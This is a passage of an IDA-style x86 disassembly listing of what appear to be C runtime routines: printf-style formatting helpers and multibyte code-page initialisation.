		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------

loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8

loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------

loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1

loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------

loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43C510
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------

loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1

loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43C8A0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8AC
		pop	ecx

loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43C8A4
		pop	ecx

loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi

loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi

loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------

loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43C510
		mov	[ebp+var_8], ecx

loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx

loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------

loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------

loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8

loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7

loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------

loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------

loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx

loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------

loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h

loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah

loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax

loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------

loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------

loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx

loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03

loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------

loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx

loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0

loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------

loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h

loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0

loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax

loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E

loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]

loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------

loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9

loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h

loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax

loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------

loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h

loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1

loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h

loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------

loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h

loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h

loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB

loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------

loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx

loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]

loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26

loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C

loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DC6C4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43C520

loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43C610
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28A0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		cmp	[ebp+var_18], 1
		mov	dword_4DC6C4, esi
		rep stosd
		stosb
		mov	dword_4DC8E4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]

loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DC7E1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------

loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DC7E0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43C530[esi]

loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2

loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43C518[edx]

loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DC7E1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90

loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76

loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DC6DC, 1
		push	eax
		mov	dword_4DC6C4, eax
		call	sub_42008C
		lea	esi, dword_43C524[esi]
		mov	edi, offset dword_4DC6D0
		movsd
		movsd
		pop	ecx
		mov	dword_4DC8E4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30

loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax

loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DC7E1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DC8E4, eax
		mov	dword_4DC6DC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------

loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DC6DC, ebx

loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------

loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB300, ebx
		jz	short loc_42003A

loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF

loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8

loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------

loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh

loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB300, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB300, 1
		jmp	near ptr 2650985h
; ---------------------------------------------------------------------------
		db 2Dh
; ---------------------------------------------------------------------------

loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB300, 1
		nop
		jmp	near ptr 28A06C2h
; ---------------------------------------------------------------------------

loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DB344
		mov	dword_4DB300, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DC7E0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DC6D0
		mov	dword_4DC6C4, eax
		mov	dword_4DC6DC, eax
		mov	dword_4DC8E4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DC6C4
		nop
		call	near ptr 28A0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h

loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx

loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DC8E4
		push	dword_4DC6C4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DC8E4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DC6C4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DC8E4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DC7E1[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DC6E0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------

loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DC7E1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------

loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DC6E0[eax], 0

loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
